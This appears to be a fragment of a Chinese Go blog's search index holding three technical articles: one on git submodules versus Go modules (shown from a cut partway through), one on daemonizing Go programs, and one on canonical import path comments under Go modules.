在第一版main.go中，我们期望使用相对路径来导入submomdule中的pdf包，运行main.go，我们得到下面结果：\n$go run main.go main.go:4:2: \u0026#34;./pdf\u0026#34; is relative, but relative import paths are not supported in module mode 我们看到：在go module构建模式下，Go已经不再支持以相对路径导入Go包了！但是如果我们直接通过rsc.io/pdf这个路径导入，那显然使用的就不是submodule中的pdf包了。\n下面我们试试第二种方法，即将pdf目录看成main-project的子目录，将pdf包看成是main-project这个module下的一个包，这样pdf包在main-project这个module下的导入路径就变成了main-project/pdf：\n// main-project/main.go package main import ( _ \u0026#34;main-project/pdf\u0026#34; ) func main() { println(\u0026#34;ok\u0026#34;) } 这次构建和运行main.go，我们将得到正确的预期结果。\n到这里，我们似乎又找到了go module之外go项目依赖管理的新方法，并且这种方法特别适合当某些依赖项目尚未发布，还无法直接通过Go Module导入的库，甚至是一些永远不会发布的内部库或私有库。这种方法让pdf看起来是main-project的一部分，但实际上pdf包的版本却是需要开发人员自己通过git submodule命令管理的，pdf包的版本无法用go.mod(和go.sum)控制，因为它被视为是main-project的一部分了，而不是外部依赖包。\n如果你不想将其视为main-project的一部分，还想将其以外部依赖的方式管理起来，那就需要利用到go module的replace或go.work了。不过这种方法的前提是submodule下必须是一个go module，即有自己的go.mod。rsc.io/pdf包是一个legacy package，还没有自己的go.mod，我们先在本地pdf目录下为其添加一个go.mod：go mod init rsc.io/pdf。\n接下来，我们先来简单看看用replace如何实现导入pdf包，我们需要修改一下main-project/go.mod：\n// main-project/go.mod module main-project go 1.23.0 require rsc.io/pdf v0.1.1 replace rsc.io/pdf =\u0026gt; ./pdf 这里我们用replace指示符将rsc.io/pdf替换为本地pdf目录下的go module，这样修改后，我们运行main.go也会得到正确的结果。\n另外我们还可以使用go.work来导入pdf，下面命令初始化一个go.work：\n$go work init . 编辑go.work，添加workspace包含的路径：\ngo 1.23.0 use ( . ./pdf ) 这样go编译器会默认在当前目录和pdf目录下搜索rsc.io/pdf模块，运行main.go也是ok的。\n相对于将pdf包看成是main-project module下的一个包并用main-project/pdf这个内部依赖的包导入路径的方法，使用replace或go.work的好处在于一旦pdf包得以发布，main.go可以无需修改pdf包导入路径，并可以基于go.mod精确管理pdf包的版本。\n3. 小结 那么我们在Go项目中到底是否有必要使用sub modules呢？我们来小结一下。\n总的来说，在大多数情况下，Go Modules确实已经覆盖了Git Submodule在Go项目中的主要功能，甚至做的更好，比如：Go Modules提供了更细粒度的版本控制，能自动解析和下载依赖，并也可以确保了构建的可重现性。因此，对于大多数Go项目而言，使用Go Modules已经足够满足依赖管理需求，而无需再使用git submodule。 并且，在Go项目以及Go社区的实践中，应对类似共享未发布的依赖包的场景(git submodule适用的场景)，使用replace或go.work是比较主流的实践，或者说go.work以及replace就是为了这种情况而添加的。\n当然如果组织/公司内部尚未构建可以很好地支持内部Go项目间依赖包获取、导入和管理的基础设施，那么git submodule不失为一种可以在内部Go项目中实施的可行的依赖版本管理和控制方案。\n最后，无论选择使用Git Submodule、Go Modules，还是两者结合，最重要的是要确保项目结构清晰，依赖关系明确，以便于团队协作和项目维护。\nGopher部落知识星球在2024年将继续致力于打造一个高品质的Go语言学习和交流平台。我们将继续提供优质的Go技术文章首发和阅读体验。同时，我们也会加强代码质量和最佳实践的分享，包括如何编写简洁、可读、可测试的Go代码。此外，我们还会加强星友之间的交流和互动。欢迎大家踊跃提问，分享心得，讨论技术。我会在第一时间进行解答和交流。我衷心希望Gopher部落可以成为大家学习、进步、交流的港湾。让我相聚在Gopher部落，享受coding的快乐! 欢迎大家踊跃加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻) – https://gopherdaily.tonybai.com\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite Gopher Daily归档 – https://github.com/bigwhite/gopherdaily Gopher Daily Feed订阅 – https://gopherdaily.tonybai.com/feed 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2024/10/05/using-git-submodules-in-go-projects/","summary":"\u003ch1 id=\"go项目中使用git-submodule还有这个必要吗--tony-bai\"\u003eGo项目中使用Git Submodule，还有这个必要吗？ | Tony Bai\u003c/h1\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-guide/\" title=\"Google Go语言编码风格规范：指南篇\"\u003eGoogle Go语言编码风格规范：指南篇\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-decisions/\" title=\"Google Go语言编码风格规范：决定篇\"\u003eGoogle Go语言编码风格规范：决定篇\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-best-practices/\" title=\"Google Go语言编码风格规范：最佳实践篇\"\u003eGoogle Go语言编码风格规范：最佳实践篇\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/go-course-faq/\" title=\"Go语言第一课FAQ\"\u003eGo语言第一课FAQ\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/about/\" title=\"关于我\"\u003e关于我\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/articles/\" title=\"文章列表\"\u003e文章列表\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1 id=\"go项目中使用git-submodule还有这个必要吗\"\u003eGo项目中使用Git Submodule，还有这个必要吗？\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003e十月 5, 2024\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/2024/10/05/using-git-submodules-in-go-projects/#respond\" title=\"《Go项目中使用Git Submodule，还有这个必要吗？》上的评论\"\u003e0 条评论\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cimg alt=\"Image 27\" loading=\"lazy\" src=\"/images/wp-content/uploads/using-git-submodules-in-go-projects-1.png\"\u003e\u003c/p\u003e","title":"Go项目中使用Git Submodule，还有这个必要吗？"},{"content":"探索Go守护进程的实现方法 | Tony Bai Tony Bai一个程序员的心路历程\nGoogle Go语言编码风格规范 Google Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ 关于我 文章列表 探索Go守护进程的实现方法 十月 3, 2024 0 条评论 本文永久链接 – https://tonybai.com/2024/10/03/how-to-daemonize-go-program\n在后端开发的世界里，守护进程（daemon）这个概念与Unix系统一样古老。守护进程是在后台运行的长期服务程序，不与任何终端关联。尽管现代进程管理工具如systemd和supervisor等让应用转化为守护进程变得十分简单，我们甚至可以使用以下命令来在后台运行程序：\nnohup ./your_go_program \u0026amp; 但在某些情况下，程序的原生转化为守护进程的能力仍然是有必要的。比如分布式文件系统juicefs cli的mount子命令，它就支持以-d选项启动，并以守护进程方式运行：\n$juicefs mount -h NAME: juicefs mount - Mount a volume USAGE: juicefs mount [command options] META-URL MOUNTPOINT ... ... OPTIONS: -d, --background run in background (default: false) ... ... ... ... 这种自我守护化的能力会让很多Go程序受益，在这一篇文章中，我们就来探索一下Go应用转化为守护进程的实现方法。\n1. 标准的守护进程转化方法 W.Richard Stevens的经典著作《UNIX环境高级编程》中对将程序转化为一个守护进程的 (daemonize) 步骤进行了详细的说明，主要步骤如下：\n创建子进程并终止父进程 通过fork()系统调用创建子进程，父进程立即终止，保证子进程不是控制终端的会话组首领。\n创建新的会话 子进程调用setsid()来创建一个新会话，成为会话组首领，从而摆脱控制终端和进程组。\n更改工作目录 使用chdir(“/”) 将当前工作目录更改为根目录，避免守护进程持有任何工作目录的引用，防止对文件系统卸载的阻止。\n重设文件权限掩码 通过umask(0) 清除文件权限掩码，使得守护进程可以自由设置文件权限。\n关闭文件描述符 关闭继承自父进程的已经open的文件描述符（通常是标准输入、标准输出和标准错误)。\n重定向标准输入/输出/错误 重新打开标准输入、输出和错误，重定向到/dev/null，以避免守护进程无意输出内容到不应有的地方。\n注：fork()系统调用是一个较为难理解的调用，它用于在UNIX/Linux系统中创建一个新的进程。新创建的进程被称为子进程，它是由调用fork()的进程（即父进程）复制出来的。子进程与父进程拥有相同的代码段、数据段、堆和栈，但它们是各自独立的进程，有不同的进程ID (PID)。在父进程中，fork()返回子进程的PID（正整数），在子进程中，fork()返回0，如果fork()调用失败（例如系统资源不足），则返回-1，并设置errno以指示错误原因。\n下面是一个符合UNIX标准的守护进程转化函数的C语言实现，参考了《UNIX环境高级编程》中的经典步骤：\n// daemonize/c/daemon.c #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;stdlib.h\u0026gt; #include \u0026lt;unistd.h\u0026gt; #include \u0026lt;fcntl.h\u0026gt; #include \u0026lt;sys/stat.h\u0026gt; #include \u0026lt;sys/types.h\u0026gt; #include \u0026lt;syslog.h\u0026gt; #include \u0026lt;signal.h\u0026gt; void daemonize() { pid_t pid; // 1. Fork off the parent process pid = fork(); if (pid \u0026lt; 0) { exit(EXIT_FAILURE); } // If we got a good PID, then we can exit the parent process. if (pid \u0026gt; 0) { exit(EXIT_SUCCESS); } // 2. Create a new session to become session leader to lose controlling TTY if (setsid() \u0026lt; 0) { exit(EXIT_FAILURE); } // 3. Fork again to ensure the process won\u0026#39;t allocate controlling TTY in future pid = fork(); if (pid \u0026lt; 0) { exit(EXIT_FAILURE); } if (pid \u0026gt; 0) { exit(EXIT_SUCCESS); } // 4. Change the current working directory to root. if (chdir(\u0026#34;/\u0026#34;) \u0026lt; 0) { exit(EXIT_FAILURE); } // 5. Set the file mode creation mask to 0. umask(0); // 6. Close all open file descriptors. for (int x = sysconf(_SC_OPEN_MAX); x\u0026gt;=0; x--) { close(x); } // 7. Reopen stdin, stdout, stderr to /dev/null open(\u0026#34;/dev/null\u0026#34;, O_RDWR); // stdin dup(0); // stdout dup(0); // stderr // Optional: Log the daemon starting openlog(\u0026#34;daemonized_process\u0026#34;, LOG_PID, LOG_DAEMON); syslog(LOG_NOTICE, \u0026#34;Daemon started.\u0026#34;); closelog(); } int main() { daemonize(); // Daemon process main loop while (1) { // Perform some background task... sleep(30); // Sleep for 30 seconds. } return EXIT_SUCCESS; } 注：这里省略了书中设置系统信号handler的步骤。\n这里的daemonize函数完成了标准的守护化转化过程，并确保了程序在后台无依赖地稳定运行。我们编译运行该程序后，程序进入后台运行，通过ps命令可以查看到类似下面内容：\n$ ./c-daemon-app $ ps -ef|grep c-daemon-app root 28517 1 0 14:11 ? 00:00:00 ./c-daemon-app 我们看到c-daemon-app的父进程是ppid为1的进程，即linux的init进程。我们看到上面c代码中转化为守护进程的函数daemonize进行了两次fork，至于为何要做两次fork，在我的《理解Zombie和Daemon Process》一文中有说明，这里就不赘述了。\n那么Go是否可以参考上述步骤实现Go程序的守护进程转化呢？我们接着往下看。\n2. Go语言实现守护进程的挑战 关于Go如何实现守护进程的转换，在Go尚未发布1.0之前的2009年就有issue提到，在runtime: support for daemonize中，Go社区与Go语言的早起元老们讨论了在Go中实现原生守护进程的复杂性，主要挑战源于Go的运行时及其线程管理方式。当一个进程执行fork操作时，只有主线程被复制到子进程中，如果fork前Go程序有多个线程(及多个goroutine)在执行(可能是由于go runtime调度goroutine和gc产生的线程)，那么fork后，这些非执行fork线程的线程(以及goroutine)将不会被复制到新的子进程中，这可能会导致后续子进程中线程运行的不确定性(基于一些fork前线程留下的数据状态)。\n理想情况下是Go runtime提供类似的daemonize函数，然后在多线程启动之前实现守护进程的转化，不过Go团队至今也没有提供该机制，而是建议大家使用如systemd的第三方工具来实现Go程序的守护进程转化。\n既然Go官方不提供方案，Go社区就会另辟蹊径，接下来，我们看看目前Go社区的守护进程解决方案。\n3. Go社区的守护进程解决方案 尽管面临挑战，Go社区还是开发了一些库来支持Go守护进程的实现，其中一个star比较多的解决方案是github.com/sevlyar/go-daemon。\ngo-daemon库的作者巧妙地解决了Go语言中无法直接使用fork系统调用的问题。go-daemon采用了一个简单而有效的技巧来模拟fork的行为：该库定义了一个特殊的环境变量作为标记。程序运行时，首先检查这个环境变量是否存在。如果环境变量不存在，执行父进程相关操作，然后使用os.StartProcess(本质是fork-and-exec)启动带有特定环境变量标记的程序副本。如果环境变量存在，执行子进程相关操作，继续执行主程序逻辑，下面是该库作者提供的原理图：\n这种方法有效地模拟了fork的行为，同时避免了Go运行时中与线程和goroutine相关的问题。下面是使用go-daemon包实现Go守护进程的示例：\n// daemonize/go-daemon/main.go package main import ( \u0026#34;log\u0026#34; \u0026#34;time\u0026#34; \u0026#34;github.com/sevlyar/go-daemon\u0026#34; ) func main() { cntxt := \u0026amp;daemon.Context{ PidFileName: \u0026#34;example.pid\u0026#34;, PidFilePerm: 0644, LogFileName: \u0026#34;example.log\u0026#34;, LogFilePerm: 0640, WorkDir: \u0026#34;./\u0026#34;, Umask: 027, } d, err := cntxt.Reborn() if err != nil { log.Fatal(\u0026#34;无法运行：\u0026#34;, err) } if d != nil { return } defer cntxt.Release() log.Print(\u0026#34;守护进程已启动\u0026#34;) // 守护进程逻辑 for { // ... 执行任务 ... time.Sleep(time.Second * 30) } } 运行该程序后，通过ps可以查看到对应的守护进程：\n$make go build -o go-daemon-app $./go-daemon-app $ps -ef|grep go-daemon-app 501 4025 1 0 9:20下午 ?? 0:00.01 ./go-daemon-app 此外，该程序会在当前目录下生成example.pid(用于实现file lock)，用于防止意外重复执行同一个go-daemon-app：\n$./go-daemon-app 2024/09/26 21:21:28 无法运行：daemon: Resource temporarily unavailable 虽然原生守护进程化提供了精细的控制且无需安装和配置外部依赖，但进程管理工具提供了额外的功能，如开机自启、异常退出后的自动重启和日志记录等，并且Go团队推荐使用进程管理工具来实现Go守护进程。进程管理工具的缺点在于需要额外的配置(比如systemd)或安装设置(比如supervisor)。\n4. 小结 在Go中实现守护进程化，虽然因为语言运行时的特性而具有挑战性，但通过社区开发的库和谨慎的实现是可以实现的。随着Go语言的不断发展，我们可能会看到更多对进程管理功能的原生支持。同时，开发者可以根据具体需求，在原生守护进程化、进程管理工具或混合方法之间做出选择。\n本文涉及的源码可以在这里下载。\nGopher部落知识星球在2024年将继续致力于打造一个高品质的Go语言学习和交流平台。我们将继续提供优质的Go技术文章首发和阅读体验。同时，我们也会加强代码质量和最佳实践的分享，包括如何编写简洁、可读、可测试的Go代码。此外，我们还会加强星友之间的交流和互动。欢迎大家踊跃提问，分享心得，讨论技术。我会在第一时间进行解答和交流。我衷心希望Gopher部落可以成为大家学习、进步、交流的港湾。让我相聚在Gopher部落，享受coding的快乐! 欢迎大家踊跃加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻) – https://gopherdaily.tonybai.com\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite Gopher Daily归档 – https://github.com/bigwhite/gopherdaily Gopher Daily Feed订阅 – https://gopherdaily.tonybai.com/feed 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2024/10/03/how-to-daemonize-go-program/","summary":"\u003ch1 id=\"探索go守护进程的实现方法--tony-bai\"\u003e探索Go守护进程的实现方法 | Tony Bai\u003c/h1\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-guide/\" title=\"Google Go语言编码风格规范：指南篇\"\u003eGoogle Go语言编码风格规范：指南篇\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-decisions/\" title=\"Google Go语言编码风格规范：决定篇\"\u003eGoogle Go语言编码风格规范：决定篇\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-best-practices/\" title=\"Google Go语言编码风格规范：最佳实践篇\"\u003eGoogle Go语言编码风格规范：最佳实践篇\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/go-course-faq/\" title=\"Go语言第一课FAQ\"\u003eGo语言第一课FAQ\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/about/\" title=\"关于我\"\u003e关于我\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/articles/\" title=\"文章列表\"\u003e文章列表\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1 id=\"探索go守护进程的实现方法\"\u003e探索Go守护进程的实现方法\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003e十月 3, 2024\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/2024/10/03/how-to-daemonize-go-program/#respond\" title=\"《探索Go守护进程的实现方法》上的评论\"\u003e0 条评论\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cimg alt=\"Image 29\" loading=\"lazy\" src=\"/images/wp-content/uploads/how-to-daemonize-go-program-1.png\"\u003e\u003c/p\u003e","title":"探索Go守护进程的实现方法"},{"content":"为什么Canonical Import Path注释在Go中不再必要 | Tony Bai Tony Bai一个程序员的心路历程\nGoogle Go语言编码风格规范 Google Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ 关于我 文章列表 为什么Canonical Import Path注释在Go中不再必要 十月 2, 2024 0 条评论 本文永久链接 – https://tonybai.com/2024/10/02/why-canonical-import-paths-no-longer-necessary-in-go\nGo语言自推出以来，一直以其简洁和高效的包管理系统著称。在Go 1.11版本之前，Canonical Import Path注释曾是一个重要的工具，用于防止包路径的导入冲突。然而，随着Go Modules的引入，这一工具的作用逐渐被淡化。那么Canonical Import Path注释是否还有必要存在呢？在这篇文章中，我就来介绍一下Canonical Import Path的历史及作用，并通过在Go Modules环境下的向后兼容性测试，讨论是否仍有必要继续使用这一注释。\n1. 什么是Canonical Import Path注释？ Go在1.4版本中增加了Canonical Import Path，Canonical Import Path用于解决同一个包可能被通过多个导入路径导入的问题。比如当代码托管在像github.com这样的服务上时，导入路径会包含托管服务的域名，比如“github.com/rsc/pdf。但是Go开发者也可以为同一个包提供一个“自定义”或“vanity”导入路径，例如rsc.io/pdf。这样就会产生两个有效的导入路径，这会带来以下问题：\n同一个程序中可能会通过不同路径导入同一个包，造成不必要的重复。 使用非官方路径时可能会错过包更新，因为路径没有得到正确识别。 将包迁移到另一个托管服务时，可能会中断使用旧路径的客户端。 为了解决这个问题，Go 1.4引入了Canonical Import Path注释。在包声明中加上注释后，如果通过非Canonical Import Path导入包，Go命令将拒绝编译导入包的程序。\nCanonical Import Path的语法很简单，在包声明的注释部分加上标识。例如，对于rsc.io/pdf包，声明可以写成：\npackage pdf // import \u0026#34;rsc.io/pdf\u0026#34; 这样，Go命令就会拒绝编译任何通过github.com/rsc/pdf路径导入的包，确保代码可以在不破坏用户代码的前提下自由迁移。\n2. Go Modules及其对导入路径的影响 Go 1.11引入Go Modules后，Go通过go.mod文件管理包的依赖关系和版本，极大简化了包的管理过程。通过在go.mod中定义模块的根路径，Go Modules可以自动指示项目中所有包的导入路径，并且是唯一的，这使得Canonical Import Path在Go Modules环境下基本没什么必要性了。\n例如，假设go.mod文件定义了以下模块路径：\n// go.mod module rsc.io/pdf 那么位于项目根目录下的包的导入路径将被自动解析为rsc.io/pdf，避免了包路径冲突问题。因此，在Go Modules的支持下，手动设置Canonical Import Path注释变得不再必要。\nGo提供了Go1向后兼容，在Go module下使用Canonical Import Path注释会是什么情况呢？我们接下来来看看。\n3. 在Go Modules下使用Canonical Import Path注释 虽然Go Modules简化了包管理，很多老项目仍然保留了Canonical Import Path注释。为了验证在Go Modules环境下继续使用这些注释的兼容性，我进行了以下测试(测试环境使用的是包括Go 1.23.0版本在内的多个Go版本)。\n在这个测试中，我们保持项目中的Canonical Import Path注释不变，看看它是否影响在Go Modules环境中的编译和运行。\n这里我们直接使用位于github.com/rsc/pdf中的pdf包，该包在read.go文件中使用了Canonical Import Path注释：\n// https://github.com/rsc/pdf/blob/master/read.go package pdf // import \u0026#34;rsc.io/pdf\u0026#34; 我们先用Go 1.11版本之前的Go版本测试一下导入rsc.io/pdf包。由于Go 1.11版本之前依然采用的是GOPATH构建模式，因此需要先将github.com/rsc/pdf下载到\\$GOPATH/src的github.com/rsc下，因为GOPATH模式下，go编译器回到\\$GOPATH路径下搜寻依赖包。\n接下来，我们建立demo1目录，并直接将github.com/rsc/pdf/pdfpasswd/main.go复制到demo1目录下，该main.go导入了”rsc.io/pdf”，我们将其改为导入”github.com/rsc/pdf”：\n// demo1/main.go package main import ( \u0026#34;flag\u0026#34; \u0026#34;fmt\u0026#34; \u0026#34;log\u0026#34; \u0026#34;os\u0026#34; \u0026#34;github.com/rsc/pdf\u0026#34; ) var ( alphabet = flag.String(\u0026#34;a\u0026#34;, \u0026#34;0123456789\u0026#34;, \u0026#34;alphabet\u0026#34;) maxLength = flag.Int(\u0026#34;m\u0026#34;, 4, \u0026#34;max length\u0026#34;) ) func usage() { fmt.Fprintf(os.Stderr, \u0026#34;usage: pdfpasswd [-a alphabet] [-m maxlength] file\\n\u0026#34;) os.Exit(2) } func main() { log.SetFlags(0) log.SetPrefix(\u0026#34;pdfpasswd: \u0026#34;) flag.Usage = usage flag.Parse() if flag.NArg() != 1 { usage() } f, err := os.Open(flag.Arg(0)) if err != nil { log.Fatal(err) } last := \u0026#34;\u0026#34; alpha := *alphabet ctr := make([]int, *maxLength) pw := func() string { inc(ctr, len(alpha)+1) for !valid(ctr) { inc(ctr, len(alpha)+1) } if done(ctr) { return \u0026#34;\u0026#34; } buf := make([]byte, len(ctr)) var i int for i = 0; i \u0026lt; len(buf); i++ { if ctr[i] == 0 { break } buf[i] = alpha[ctr[i]-1] } last = string(buf[:i]) println(last) return last } st, err := f.Stat() if err != nil { log.Fatal(err) } _, err = pdf.NewReaderEncrypted(f, st.Size(), pw) if err != nil { if err == pdf.ErrInvalidPassword { log.Fatal(\u0026#34;password not found\u0026#34;) } log.Fatal(\u0026#34;reading pdf: %v\u0026#34;, err) } fmt.Printf(\u0026#34;password: %q\\n\u0026#34;, last) } func inc(ctr []int, n int) { for i := 0; i \u0026lt; len(ctr); i++ { ctr[i]++ if ctr[i] \u0026lt; n { break } ctr[i] = 0 } } func done(ctr []int) bool { for _, x := range ctr { if x != 0 { return false } } return true } func valid(ctr []int) bool { i := len(ctr) for i \u0026gt; 0 \u0026amp;\u0026amp; ctr[i-1] == 0 { i-- } for i--; i \u0026gt;= 0; i-- { if ctr[i] == 0 { return false } } return true } 然后，我们先用Go 1.10.8版本编译该main.go，得到下面结果：\n$go run main.go main.go:9:2: code in directory /Users/tonybai/Go/src/github.com/rsc/pdf expects import \u0026#34;rsc.io/pdf\u0026#34; 我们看到go 1.11之前的版本对pdf包声明的Canonical Import Path做了检查，如果实际导入路径(github.com/rsc/pdf)与其不符，Go编译器会报错！\n接下来，我们来看看切换到go module模式后的编译结果，这里我们使用Go 1.12.7版本。我们创建go.mod文件：\n// demo1/go.mod module demo1 go 1.12 编译执行main.go：\n$go run main.go go: finding github.com/rsc/pdf v0.1.1 go: downloading github.com/rsc/pdf v0.1.1 go: extracting github.com/rsc/pdf v0.1.1 usage: pdfpasswd [-a alphabet] [-m maxlength] file exit status 2 我们看到，go 1.12.7可以成功编译并运行main.go，即便后者没有使用Canonical Import Path导入pdf包。\n而用最新的Go 1.23.0编译和运行，也是没问题的：\n$go run main.go usage: pdfpasswd [-a alphabet] [-m maxlength] file exit status 2 由此可以得出结论：go module模式下，Go编译器已经不再校验导入包的Canonical Import Path了。\n并且，即便main.go同时导入rsc.io/pdf和github.com/rsc/pdf也是没问题的：\nimport ( \u0026#34;flag\u0026#34; \u0026#34;fmt\u0026#34; \u0026#34;log\u0026#34; \u0026#34;os\u0026#34; \u0026#34;github.com/rsc/pdf\u0026#34; _ \u0026#34;rsc.io/pdf\u0026#34; ) 这是因为github.com/rsc/pdf下没有go.mod，go编译器无法识别github.com/rsc/pdf和rsc.io/pdf是同一个包。我们再看一个uber-go/zap的例子：\npackage main import ( \u0026#34;fmt\u0026#34; _ \u0026#34;github.com/uber-go/zap\u0026#34; _ \u0026#34;go.uber.org/zap\u0026#34; ) func main() { fmt.Println(\u0026#34;hello, zap!\u0026#34;) } 针对这个main.go所在的go module进行go mod tidy，我们会得到如下错误结果：\n$go mod tidy go: finding module for package go.uber.org/zap go: finding module for package github.com/uber-go/zap go: downloading go.uber.org/zap v1.27.0 go: downloading github.com/uber-go/zap v1.27.0 go: found github.com/uber-go/zap in github.com/uber-go/zap v1.27.0 go: found go.uber.org/zap in go.uber.org/zap v1.27.0 go: demo imports github.com/uber-go/zap: github.com/uber-go/zap@v1.27.0: parsing go.mod: module declares its path as: go.uber.org/zap but was required as: github.com/uber-go/zap 我们看到：go命令检测出了github.com/uber-go/zap仓库下的go module是go.uber.org/zap，我们只能使用go.uber.org/zap作为zap包的导入路径。\n4. 是否应移除Canonical Import Path注释？ 在Go Modules已经成为Go项目默认包管理方式的背景下，Canonical Import Path的使用显得冗余。虽然保留这些注释不会导致兼容性问题，但移除它们可以让项目代码更加简洁，减少不必要的历史包袱。\n对于已经迁移到Go Modules的老项目，开发者可以考虑逐步移除Canonical Import Path注释。对于新项目，则是没有必要添加Canonical Import Path注释，Go Modules已经足够强大，能够管理包路径和依赖；如果项目的用户仍依赖旧版Go工具链(GOPATH模式)，保留Canonical Import Path注释则可以作为一种保险措施。\n5. 小结 Canonical Import Path注释在Go 1.4引入时是为了解决包路径冲突和包迁移问题。然而，随着Go Modules的引入，包管理和路径控制功能逐渐被自动化，Canonical Import Path的作用显得不再必要。对于现代Go项目，开发者应考虑移除这一冗余的注释，这不仅是代码简化的一部分，也反映了Go生态系统中包管理方式的演进，并使项目更加符合Go语言的现代开发环境。\nGopher部落知识星球在2024年将继续致力于打造一个高品质的Go语言学习和交流平台。我们将继续提供优质的Go技术文章首发和阅读体验。同时，我们也会加强代码质量和最佳实践的分享，包括如何编写简洁、可读、可测试的Go代码。此外，我们还会加强星友之间的交流和互动。欢迎大家踊跃提问，分享心得，讨论技术。我会在第一时间进行解答和交流。我衷心希望Gopher部落可以成为大家学习、进步、交流的港湾。让我相聚在Gopher部落，享受coding的快乐! 欢迎大家踊跃加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻) – https://gopherdaily.tonybai.com\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite Gopher Daily归档 – https://github.com/bigwhite/gopherdaily Gopher Daily Feed订阅 – https://gopherdaily.tonybai.com/feed 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2024/10/02/why-canonical-import-paths-no-longer-necessary-in-go/","summary":"\u003ch1 id=\"为什么canonical-import-path注释在go中不再必要--tony-bai\"\u003e为什么Canonical Import Path注释在Go中不再必要 | Tony Bai\u003c/h1\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-guide/\" title=\"Google Go语言编码风格规范：指南篇\"\u003eGoogle Go语言编码风格规范：指南篇\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-decisions/\" title=\"Google Go语言编码风格规范：决定篇\"\u003eGoogle Go语言编码风格规范：决定篇\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-best-practices/\" title=\"Google Go语言编码风格规范：最佳实践篇\"\u003eGoogle Go语言编码风格规范：最佳实践篇\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/go-course-faq/\" 